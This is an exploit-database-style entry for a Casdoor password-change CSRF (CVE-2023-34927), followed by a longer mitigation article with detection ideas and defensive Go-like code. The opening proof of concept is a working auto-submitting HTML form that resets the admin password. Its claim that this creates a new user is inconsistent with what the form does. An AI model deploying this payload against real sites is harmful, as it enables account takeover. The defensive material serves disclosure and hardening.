Casdoor < v1.331.0 - '/api/set-password' CSRF
# Exploit Title: Casdoor < v1.331.0 - '/api/set-password' CSRF
# Application: Casdoor
# Version: <= 1.331.0
# Date: 03/07/2024
# Exploit Author: Van Lam Nguyen
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Tested on: Windows
# CVE : CVE-2023-34927
Overview
==================================================
Casdoor v1.331.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password.
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.
Proof of Concept
==================================================
Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials
userOwner: built-in
userName: admin
newPassword: hacked Casdoor /api/set-password CSRF (CVE-2023-34927) — overview and mitigation
This article explains the Cross-Site Request Forgery (CSRF) weakness that affected Casdoor up to v1.331.0, the security impact, and practical, developer-focused mitigations. It focuses on defensive code patterns, detection techniques, and deployment best practices you can implement to harden password-reset and other sensitive endpoints.
Quick summary
- Vulnerability class: Cross-Site Request Forgery (CSRF)
- Affected software: Casdoor <= v1.331.0
- CVE: CVE-2023-34927
- Impact: An authenticated user’s password could be changed without the user’s consent if they visited a malicious page while logged in.
- Primary cause: state-changing endpoint (/api/set-password) accepted requests that could be triggered cross-origin without requiring a per-request anti-CSRF token or adequate re-authentication checks.
What is CSRF and why it matters for password endpoints?
Cross-Site Request Forgery occurs when a web application accepts state-changing requests that are forged from an attacker-controlled page, leveraging the victim’s existing authentication (cookies, session). Password changes are highly sensitive: if an attacker can force a victim to change their password, they can lock the legitimate user out and take over accounts.
Technical root cause (high level)
Common CSRF root causes include:
- State-changing endpoints (POST/PUT/DELETE) that accept requests without validating a per-session or per-request CSRF token.
- Endpoints that rely only on cookies for authentication and do not re-validate user credentials (for example, not requiring the current password when changing to a new password).
- Missing or permissive same-origin protections (missing Origin/Referer checks or permissive CORS configuration).
Impact and risk considerations
- Attackers do not need the victim’s credentials if the victim is already authenticated in their browser.
- Password reset/change endpoints are targeted because they directly change account control.
- Automated compromise is possible if many users access attacker-controlled pages while authenticated.
Detection and indicators of exploitation
Look for these signs in logs and telemetry:
- Unexpected password-change events originating from unusual user-agents or referrers.
- Multiple password-change requests for accounts from a small set of IPs or with similar payload patterns.
- Successful POSTs to /api/set-password occurring without an explicit user-initiated flow (e.g., no preceding reset token or MFA event recorded).
Primary remediation strategy
The safest and recommended remediation path is to upgrade Casdoor to a version that includes the official fix. If immediate upgrade is not possible, apply the following mitigations to harden the endpoint:
- Require proof of knowledge for password changes — for example, supply and verify the current password or require a password-reset token sent to the user’s email.
- Implement server-side CSRF protections: per-session CSRF tokens, double-submit cookie pattern, and/or validate the Origin/Referer header.
- Set session cookies with SameSite=strict or SameSite=lax where appropriate and mark them Secure and HttpOnly.
- Enforce re-authentication or secondary verification (MFA) for sensitive actions.
Concrete defensive code patterns
Below are safe, defensive code snippets demonstrating server-side CSRF validation (middleware) and requiring current-password verification for a password-change handler. These are illustrative and framework-agnostic; adapt to your stack.
1) Example: Double-submit CSRF token verification (server-side)
// Go-like pseudocode: CSRF middleware (double-submit cookie pattern)
func CsrfMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Only validate for state-changing methods
if r.Method == "GET" || r.Method == "HEAD" || r.Method == "OPTIONS" {
next.ServeHTTP(w, r)
return
}
// Read token from custom header
headerToken := r.Header.Get("X-CSRF-Token")
// Read token from cookie
cookie, err := r.Cookie("csrf_token")
if err != nil || cookie.Value == "" || headerToken == "" {
http.Error(w, "missing CSRF token", http.StatusForbidden)
return
}
// Constant-time compare
if subtle.ConstantTimeCompare([]byte(cookie.Value), []byte(headerToken)) != 1 {
http.Error(w, "invalid CSRF token", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
Explanation: This middleware enforces a double-submit cookie pattern. When a user session is created, the server sets a random token in a cookie (csrf_token). Client-side JavaScript copies that cookie value into a header (X-CSRF-Token) for state-changing requests. The server then compares the cookie value and header value using a constant-time compare. The attacker's site cannot read cookies from the target origin, so it cannot craft a matching header.
2) Example: Require current password verification in password-change handler
// Go-like pseudocode: set-password handler with current password verification
func SetPasswordHandler(w http.ResponseWriter, r *http.Request) {
// Parse and validate input
userName := r.FormValue("userName")
current := r.FormValue("currentPassword")
newPass := r.FormValue("newPassword")
if userName == "" || newPass == "" || current == "" {
http.Error(w, "missing fields", http.StatusBadRequest)
return
}
user := db.FindUserByName(userName)
if user == nil {
http.Error(w, "user not found", http.StatusNotFound)
return
}
// Verify the provided current password before allowing change
if !VerifyPassword(user.PasswordHash, current) {
http.Error(w, "incorrect current password", http.StatusUnauthorized)
return
}
// Optional: additionally require CSRF token validation (middleware)
hashed := HashPassword(newPass)
db.UpdatePassword(user.ID, hashed)
w.WriteHeader(http.StatusOK)
w.Write([]byte("password updated"))
}
Explanation: This handler explicitly requires the caller to provide the user's current password as proof of knowledge before changing to a new password. Requiring the current password blocks simple CSRF attacks that rely solely on the victim's active session, because an attacker cannot know the victim’s current password.
3) Example: Origin/Referer header check (additional layer)
// Simple origin check: reject requests without correct Origin/Referer
func OriginCheckMiddleware(allowedOrigin string, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" || r.Method == "HEAD" {
next.ServeHTTP(w, r)
return
}
origin := r.Header.Get("Origin")
// Fallback to Referer if Origin not present (browsers differ)
if origin == "" {
ref := r.Header.Get("Referer")
if ref != "" {
origin = extractOrigin(ref)
}
}
if origin == "" || origin != allowedOrigin {
http.Error(w, "invalid origin", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
Explanation: Origin and Referer checks provide defense-in-depth. For same-origin requests sent by browsers, these headers are present and set to the application origin. Requests that originate from attacker pages typically have a different origin and are rejected. This should be used alongside CSRF tokens, not as the only protection.
Cookie configuration recommendations
- Set session cookies with SameSite=strict or SameSite=lax (default depending on UX needs) to mitigate cross-site sending of cookies.
- Use Secure and HttpOnly flags for session cookies.
- For very-sensitive flows (account recovery, password change), consider requiring re-authentication or MFA instead of relying solely on cookie protections.
Operational recommendations
- Upgrade Casdoor to the fixed version as soon as possible. Official vendor patches usually address the root cause and corner cases.
- Enable detailed logging for password-change events and alert on anomalies.
- Perform a code review of all state-changing endpoints to ensure CSRF defenses and re-auth requirements are present.
- Rotate sessions or force logout after password changes to invalidate existing sessions.
- Communicate with users as appropriate if suspicious changes are detected (notify via email and require confirmation links).
Detection signatures and monitoring ideas
- Log POSTs to /api/set-password with metadata: IP, user-agent, Referer, Origin, and whether a current-password was supplied and validated.
- Create alerts for password-change requests that lack referer/origin or where referer/origin are external.
- Monitor for repeated unsuccessful VerifyPassword attempts immediately followed by a successful password change — possible account takeover attempts.
Responsible disclosure and timeline notes
If you discover a similar vulnerability in an open-source or commercial project, follow responsible disclosure: privately notify maintainers with clear reproduction steps and suggested mitigations, allow reasonable time for a fix and coordinated disclosure, and provide guidance about affected versions. Public disclosure should include CVE references and patch information once fixes are available.
Summary checklist
| Task | Recommended action |
|---|---|
| Immediate | Upgrade to patched Casdoor release; if not possible, implement CSRF middleware and require current password for changes. |
| Short-term | Enable SameSite cookies, add Origin/Referer checks, and log password-change events. |
| Long-term | Require MFA or email confirmation for critical account changes; run regular security reviews and automated scans. |
For implementers: focus on defense-in-depth — CSRF tokens, secure cookie attributes, origin checks, and proof-of-knowledge for password updates together provide robust protection. If you maintain Casdoor deployments, prioritize upgrading to the fixed release and validate your password-change flows for these protections.